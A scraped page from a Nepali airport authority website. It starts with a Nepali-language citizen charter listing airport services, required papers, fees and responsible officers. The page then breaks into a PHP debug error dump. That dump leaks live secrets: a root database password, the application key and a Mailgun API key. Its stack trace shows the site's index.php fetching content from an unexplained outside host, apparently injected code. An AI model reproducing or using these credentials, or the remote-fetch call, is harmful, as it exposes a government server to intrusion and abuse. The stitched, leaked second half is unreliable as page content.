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Citizen Charter

 

नागरिक बडापत्र ( Citizen Charter)

क्र.सं.

कार्यहरू

आवश्यक कागजात

सम्पादन गरिसक्नुपर्ने अवधि

लाग्ने शुल्क

मुख्य सम्पर्क कर्मचारी

निर्णय गर्ने अधिकारी

उजुरी सुन्ने अधिकारी

१.

विमानस्थल निषेधित क्षेत्र प्रवेश पास सम्बन्धी

 

 
 

विमानस्थलमा कार्यरत कर्मचारी/ कामदारको लागी

नागरिकता, नियुक्तिपत्र/सरुवापत्र/रमानापत्र, निवेदन, पासपोर्ट साइजको फोटो र प्रहरि प्रतिवेदन । विदेशी नागरिकको हकमा पासपोर्ट र श्रम स्वीकृति पत्रको प्रतिलिपि । हवाइ सुरक्षा शाखाबाट माग भएबमोजिम थप कागजातहरू (आवश्यक परेमा)

सात दिन

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

हवाई सुरक्षा शाखा प्रमुख‍

(कोठा नं. ३१५)

महाप्रबन्धक

महानिर्देशक
 

अस्थायी पास (V/S/W/F Pass) दिने

औचित्यता/आवश्यकता पुष्टि गर्ने औपचारिक निवेदन/पत्र र आधिकारिक परिचय पत्र

तुरुन्तै (आवश्यकता, औचित्यता र सुरक्षा संवेदनशीलताका आधारमा मात्र दिईने)

निःशुल्क

टर्मिनल व्यवस्थापन शाखा प्रमुख (टर्मिनल ड्युटि अफिस)

महाप्रबन्धक

महानिर्देशक
 

Airside मा जाने सवारी पास (तत्काल जानुपर्ने सवारी साधनको हकमा)

औचित्यता/आवश्यकता पुष्टि गर्ने औपचारिक पत्र ,  परिचय पत्र

तुरुन्तै(आवश्यकता, औचित्यता र सुरक्षा संवेदनशीलताका आधारमा मात्र दिईने)

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

टर्मिनल व्यवस्थापन शाखा प्रमुख (टर्मिनल ड्युटि अफिस)

महाप्रबन्धक

महानिर्देशक
 

Airside मा जाने सवारी पास (स्थायी वा नियमित को हकमा)

सवारी चालक अनुमतिपत्रको प्रतिलिपि, सवारी चालकको निषेधित क्षेत्र प्रवेश अनुमतिपत्र (पास) को प्रतिलिपि, सवारी साधनको ब्लु बुकको प्रतिलिपि, वायु प्रदुषण जाँच प्रमाणपत्रको प्रतिलिपि, र्याम्प सेफ्टी तालिमको प्रमाणपत्रको प्रतिलिपि

सात दिन(आवश्यकता, औचित्यता र सुरक्षा संवेदनशीलताका आधारमा मात्र दिईने)

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

हवाई सुरक्षा शाखा प्रमुख(कोठा नं. ३१५)

महाप्रबन्धक

महानिर्देशक

२.

विज्ञापन सम्बन्धी

 

 
 

विज्ञापन बोर्ड, साईनबोर्ड आदी राख्ने

बोलपत्र आव्हानको सूचना र बोलपत्र सम्बन्धी कागजातमा उल्लेख भएबमोजिम

बोलपत्रसम्बन्धी कागजातमा उल्लेखित प्रकृया अनुसार

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

कर्पोरेट शाखा प्रमुख (कोठा नं. २०४)

महाप्रबन्धक

महानिर्देशक
 

Board/ Banner राख्ने अनुमति प्रदान गर्ने

औपचारिक निवेदन

तीन दिन

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

कर्पोरेट शाखा प्रमुख(कोठा नं. २०४)  

महाप्रबन्धक

महानिर्देशक

३.

फिल्म, डकुमेन्ट्रि छायाङ्कन गर्न अनुमति प्रदान गर्ने

औपचारिक निवेदन

तीन  दिन

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

हवाई सुरक्षा शाखा प्रमुख (कोठा नं. ३१५)

महाप्रबन्धक

महानिर्देशक

४.

व्यापारीक प्रयोजनका लागी विमानस्थल भित्रको जग्गा, कोठा वा भित्ता भाडामा प्रयोग गर्न दिने

बोलपत्र आव्हानको सूचना र बोलपत्र सम्बन्धी कागजातमा उल्लेख भएबमोजिम

विमानस्थल सेवाशुल्क नियमावली,२०७८ एवं सम्झौतामा तोकीए बमोजिम

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

कर्पोरेट शाखा प्रमुख (कोठा नं. २०४)

महाप्रबन्धक

महानिर्देशक

५.

व्यापारिक प्रयोजनका लागी विमानस्थल भित्रको जग्गा, कोठा वा विज्ञापन बोर्डका लागी प्रयोग हुने विद्युत उपलब्धता

औपचारीक निवेदन

सात दिन

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

कर्पोरेट शाखा प्रमुख ( कोठा नं. २०४)/ जनरल ईलेक्ट्रिकल इकाई (कोठा नं.३०६)

महाप्रबन्धक

महानिर्देशक

६.

व्यापारिक प्रयोजनका लागी विमानस्थल भित्रको जग्गा, कोठा वा विज्ञापन बोर्डका लागी प्रयोग हुने टेलिफोन तथा इन्टरनेट सेवाको उपलब्धता

औपचारीक निवेदन

सात दिन

विमानस्थल सेवा शुल्क नियमावली,२०७८ बमोजिम

कर्पोरेट शाखा प्रमुख (कोठा नं. २०४) / संचार तथा उड्डयन सहाय शाखा प्रमुख (कोठा नं. ३०१)

महाप्रबन्धक

महानिर्देशक

७.

लिलाम गर्ने

लिलाम सम्बन्धी सूचना र सोको बोलपत्रसम्बन्धी कागजातमा माग भएबमोजिम

ने.ना.उ.प्रा. आर्थिक प्रशासन सम्बन्धी नियमावली २०५७ बमोजिम

ने.ना.उ.प्रा. आर्थिक प्रशासन सम्बन्धी नियमावली २०५७ बमोजिम

स्टोर इकाई प्रमुख (कोठा नं. २०९)

महाप्रबन्धक

महानिर्देशक

८.

खरिद सम्बन्धी कार्य

बोलपत्र आव्हानको सूचना र बोलपत्र सम्बन्धी कागजातमा उल्लेख भएबमोजिम

 बोलपत्र सम्बन्धी कागजातमा तोकिएअनुसार

सार्वजनिक खरिद ऐन २०६३ बमोजिम

खरिद इकाई प्रमुख (कोठा नं. २१५)

महाप्रबन्धक

महानिर्देशक

९.

अर्थ सम्बन्धी

 

 
 

भुक्तानी दिने

सम्बन्धित भुक्तानीको लागी निवेदन, विलविजक कार्यप्रगति/कार्य सम्पन्न प्रतिवेदन, सरसामानको हकमा दाखिला प्रतिवेदन (तोकिएबमोजिम अन्य आवश्यक कागजातसमेत)  

सम्पुर्ण कागजात पुगी आएमा सात दिन (बजेट अभाव वा निकासा नभएको कारणले बाहेक)

निःशुल्क

आर्थिक प्रशासन शाखा प्रमुख (कोठा नं. २१२)

महाप्रबन्धक

महानिर्देशक
 

विल विजक प्राप्त गर्ने

निवेदन, रकम जम्मा गरेको सक्कल भौचर/भुक्तानी भएको निस्सा प्रमाण

सोहि दिन

निःशुल्क

राजस्व इकाई प्रमुख (कोठा नं. २११)

महाप्रबन्धक

महानिर्देशक
 

धरौटी फिर्ता दिने

निवेदन, बैंक भौचर/बैंक ग्यारेण्टिको प्रतिलिपि, लगत्तै अघिल्लो आ.व.को कर चुक्ताको प्रमाणपत्रको प्रतिलिपि

सात दिन (बजेट अभाव वा निकासा नभएको कारणले बाहेक)

निःशुल्क

आर्थिक प्रशासन शाखा प्रमुख (कोठा नं. २१२)

महाप्रबन्धक

महानिर्देशक

१०.

VIP कक्षको प्रयोग

विशिष्ट कक्षको सुविधा पाउने भनि नेपाल सरकारले तोकेकोः

  • स्वदेशी विशिष्ट व्यक्तिको हकमा औपचारीक अनुरोधपत्र वा संस्कृति, पर्यटन तथा नागरिक उड्डयन मंत्रालय र गृह मंत्रालयको सिफारिस पत्र
  • विदेशी विशिष्ट व्यक्तिको हकमा परराष्ट्र मंत्रालयको सिफारिस पत्र

माग भएको समयमा (उपलब्ध भएसम्म)

निःशुल्क

टर्मिनल व्यवस्थापन शाखा (टर्मिनल ड्युटि अफिस)

महाप्रबन्धक

महानिर्देशक

११.

CIP कक्षको प्रयोग

औपचारीक अनुरोध पत्र

माग भएको समयमा (उपलब्ध भएसम्म)

प्रतिव्यक्ति प्रतिघण्टा रु. ७५०.०० (सात सय पचास रुपैंया मात्र)(पुनश्चः CIP कक्ष एकपटकमा कम्तीमा दुई जनाको लागि लिनुपर्नेछ । )

टर्मिनल व्यवस्थापन शाखा (टर्मिनल ड्युटि अफिस)

महाप्रबन्धक

महानिर्देशक

१२

ड्रोन उडान सहमति/सिफारिस

१.उडान गर्ने मिति, ठाउँ/क्षेत्र, समय, अवधि, उचाई खुलेको औपचारीक निवेदन

२. ड्रोन दर्ताको प्रमाणपत्र

३. विदेशी, व्यक्ति वा संस्थाको हकमा स्थानीय व्यक्ति वा संस्थालाई दिइएको अधिकार पत्र

४. निवेदकको बायोडाटा, नागरिकता र विदेशी व्यक्तिको हकमा Valid Visa

सोहि दिन

निःशुल्क

एटिएस अपरेशन शाखा प्रमुख (अपरेशन भवन)

महाप्रबन्धक

महानिर्देशक

१३.

विमानस्थलको अपरेशन सञ्चालन समय बढाउने ( वायुसेवा सञ्चालकको अनुरोधमा औचित्य हेरि)

औपचारिक अनुरोध पत्र

सोहि दिन

प्राधिकरणले तोकीदिए बमोजिम कार्यालयबाट जारी भएको विल बमोजिम

 ATS अपरेशन शाखा प्रमुख वा शिफ्ट इन्चार्ज (अपरेशन भवन)

महाप्रबन्धक

महानिर्देशक

१४.

घर,टहरा, लठ्ठा, टावर आदिको उचाइ सिफारिस (OLS)

निवेदन, घर,जग्गाको नक्सा, लालपुर्जा, सम्बन्धित वडा कार्यालयको पत्र, निर्माणस्थलको Co-ordinate (देशान्तर, अक्षांस), समुद्रसतहदेखिको उचाई खुल्ने कागजात

३ दिन

निःशुल्क

सिभिल इन्जिनियरिङ शाखा प्रमुख (कोठा नं. ३०४)

महाप्रबन्धक

महानिर्देशक

१५.

यात्रुहरुको सामान छुटे वा हराएको वा सोबारे कुनै गुनासो गर्ने सम्बन्धमा (Lost and Found)

यात्रुको बोर्डिङ पासको प्रतिलिपि, हराएको सामानको विवरण, परिचय खुल्ने आधिकारिक परिचयपत्र। यात्रु बाहेक अन्य व्यक्तिको सामान लिन आउनुपरेको खण्डमा सम्बन्धित व्यक्तिको मन्जुरिनामा पत्र, परिचय खुल्ने आधिकारीक परिचयपत्र

तत्काल

निःशुल्क

टर्मिनल व्यवस्थापन शाखा प्रमुख (टर्मिनल ड्युटि अफिस)

महाप्रबन्धक

महानिर्देशक

१६.

विमानस्थलसंग सम्बन्धित सार्वजनिक महत्वका सूचना, तथ्याङ्क, जानकारी

मौखिक  - मौखिक जानकारी

सम्बन्धित पदाधिकारीको कार्यव्यस्तता हेरि तत्काल

निःशुल्क

प्रवक्ता (कोठा नं. ३०२)

महाप्रबन्धक

महानिर्देशक

लिखित - औपचारीक निवेदन

सूचनाको हकसम्बन्धी ऐन,२०६४ मा तोकिएबमोजिम

सूचनाको हकसम्बन्धी ऐन,२०६४ मा तोकिएबमोजिम

सूचना अधिकारी (कोठा नं. २०४)

महाप्रबन्धक

महानिर्देशक

 

 

 

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file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known
in index.php line 61
at HandleExceptions->handleError(2, 'file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known', '/var/www/public_html/caan-airports/airports/pia/index.php', 61, array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(), '_POST' => array(), '_COOKIE' => array(), '_FILES' => array(), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array('_GET' => array(*DEEP NESTED ARRAY*), '_POST' => array(*DEEP NESTED ARRAY*), '_COOKIE' => array(*DEEP NESTED ARRAY*), '_FILES' => array(*DEEP NESTED ARRAY*), 'app' => object(Application), 'kernel' => object(Kernel), 'response' => object(Response), 'request' => object(Request), 'GLOBALS' => array(*DEEP NESTED ARRAY*), '__composer_autoload_files' => array(*DEEP NESTED ARRAY*), '_SERVER' => array(*DEEP NESTED ARRAY*), '_REQUEST' => array(*DEEP NESTED ARRAY*), '_ENV' => array(*DEEP NESTED ARRAY*)), '__composer_autoload_files' => array('6124b4c8570aa390c21fafd04a26c69f' => true, '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => true, '320cde22f66dd4f5d3fd621d3e88b98f' => true, '5255c38a0faeba867671b61dfda6d864' => true, '023d27dca8066ef29e6739335ea73bad' => true, '667aeda72477189d0494fecd327c3641' => true, '2c102faa651ef8ea5874edb585946bce' => true, '7b11c4dc42b3b3023073cb14e519683c' => true, 'a0edc8309cc5e1d60e3047b5df6b7052' => true, 'f0906e6318348a765ffb6eb24e0d0938' => true, '58571171fd5812e6e447dce228f52f4d' => true, '801c31d8ed748cfa537fa45402288c95' => true, 'f18cc91337d49233e5754e93f3ed9ec3' => true, '377b22b161c09ed6e5152de788ca020a' => true), '_SERVER' => array('REDIRECT_UNIQUE_ID' => 'aHHV@7T7@NOy8MIYUBPuXwAAAAk', 'REDIRECT_HTTPS' => 'on', 'REDIRECT_SSL_TLS_SNI' => 'airports.caanepal.gov.np', 'REDIRECT_STATUS' => '200', 'UNIQUE_ID' => 'aHHV@7T7@NOy8MIYUBPuXwAAAAk', 'HTTPS' => 'on', 'SSL_TLS_SNI' => 'airports.caanepal.gov.np', 'HTTP_ACCEPT' => '*/*', 'HTTP_USER_AGENT' => 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)', 'HTTP_ACCEPT_ENCODING' => 'gzip, br, zstd, deflate', 'HTTP_HOST' => 'airports.caanepal.gov.np', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin', 'SERVER_SIGNATURE' => '', 'SERVER_SOFTWARE' => 'Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34', 'SERVER_NAME' => 'airports.caanepal.gov.np', 'SERVER_ADDR' => '10.5.4.144', 'SERVER_PORT' => '443', 'REMOTE_ADDR' => '216.73.216.3', 'DOCUMENT_ROOT' => '/var/www/public_html/caan-airports/airports', 'REQUEST_SCHEME' => 'https', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/public_html/caan-airports/airports', 'SERVER_ADMIN' => 'admin@caanepal.gov.np', 'SCRIPT_FILENAME' => '/var/www/public_html/caan-airports/airports/pia/index.php', 'REMOTE_PORT' => '61156', 'REDIRECT_URL' => '/pia/citizen-charter', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/pia/citizen-charter', 'SCRIPT_NAME' => '/pia/index.php', 'PHP_SELF' => '/pia/index.php', 'REQUEST_TIME_FLOAT' => 1752290811.478, 'REQUEST_TIME' => 1752290811, 'APP_ENV' => 'local', 'APP_KEY' => 'base64:OJuL39rXuJaB/nh1T7TYTJOtlf/YYrE5Kxq3oUloixA=', 'APP_DEBUG' => 'true', 'APP_LOG_LEVEL' => 'debug', 'APP_URL' => 'http://localhost', 'APP_NAME' => '', 'DB_CONNECTION' => 'mysql', 'DB_HOST' => 'localhost', 'DB_PORT' => '3306', 'DB_DATABASE' => 'pia_airport', 'DB_USERNAME' => 'root', 'DB_PASSWORD' => 'national@1234', 'BROADCAST_DRIVER' => 'log', 'CACHE_DRIVER' => 'file', 'SESSION_DRIVER' => 'file', 'SESSION_LIFETIME' => '120', 'QUEUE_DRIVER' => 'sync', 'MAIL_DRIVER' => 'mailgun', 'MAILGUN_SECRET' => 'key-272005f406a7070e440318d7276c54d7', 'MAILGUN_DOMAIN' => 'rasxp.com'), '_REQUEST' => array(), '_ENV' => array('APP_ENV' => 'local', 'APP_KEY' => 'base64:OJuL39rXuJaB/nh1T7TYTJOtlf/YYrE5Kxq3oUloixA=', 'APP_DEBUG' => 'true', 'APP_LOG_LEVEL' => 'debug', 'APP_URL' => 'http://localhost', 'APP_NAME' => '', 'DB_CONNECTION' => 'mysql', 'DB_HOST' => 'localhost', 'DB_PORT' => '3306', 'DB_DATABASE' => 'pia_airport', 'DB_USERNAME' => 'root', 'DB_PASSWORD' => 'national@1234', 'BROADCAST_DRIVER' => 'log', 'CACHE_DRIVER' => 'file', 'SESSION_DRIVER' => 'file', 'SESSION_LIFETIME' => '120', 'QUEUE_DRIVER' => 'sync', 'MAIL_DRIVER' => 'mailgun', 'MAILGUN_SECRET' => 'key-272005f406a7070e440318d7276c54d7', 'MAILGUN_DOMAIN' => 'rasxp.com')), '__composer_autoload_files' => array('6124b4c8570aa390c21fafd04a26c69f' => true, '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => true, '320cde22f66dd4f5d3fd621d3e88b98f' => true, '5255c38a0faeba867671b61dfda6d864' => true, '023d27dca8066ef29e6739335ea73bad' => true, '667aeda72477189d0494fecd327c3641' => true, '2c102faa651ef8ea5874edb585946bce' => true, '7b11c4dc42b3b3023073cb14e519683c' => true, 'a0edc8309cc5e1d60e3047b5df6b7052' => true, 'f0906e6318348a765ffb6eb24e0d0938' => true, '58571171fd5812e6e447dce228f52f4d' => true, '801c31d8ed748cfa537fa45402288c95' => true, 'f18cc91337d49233e5754e93f3ed9ec3' => true, '377b22b161c09ed6e5152de788ca020a' => true), '_SERVER' => array('REDIRECT_UNIQUE_ID' => 'aHHV@7T7@NOy8MIYUBPuXwAAAAk', 'REDIRECT_HTTPS' => 'on', 'REDIRECT_SSL_TLS_SNI' => 'airports.caanepal.gov.np', 'REDIRECT_STATUS' => '200', 'UNIQUE_ID' => 'aHHV@7T7@NOy8MIYUBPuXwAAAAk', 'HTTPS' => 'on', 'SSL_TLS_SNI' => 'airports.caanepal.gov.np', 'HTTP_ACCEPT' => '*/*', 'HTTP_USER_AGENT' => 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; 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at file_get_contents('http://backk.online/back')in index.php line 61